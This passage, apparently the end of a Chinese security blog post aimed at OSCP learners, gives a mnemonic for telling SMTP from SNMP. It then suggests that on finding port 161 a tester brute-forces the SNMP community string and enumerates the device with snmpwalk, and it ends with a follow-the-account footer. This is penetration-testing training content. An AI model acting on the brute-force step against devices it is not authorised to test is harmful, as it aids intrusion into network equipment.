  • SMTP → 联想 信封/邮件(S for Send Mail)
  • SNMP → 联想 网络设备(S for System/Network Management)

下次实战:扫描到161端口?立刻反应:这是SNMP协议 → 尝试爆破团体字符串 → 用snmpwalk查设备信息。完全不同的攻击路径!


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Kali OSCP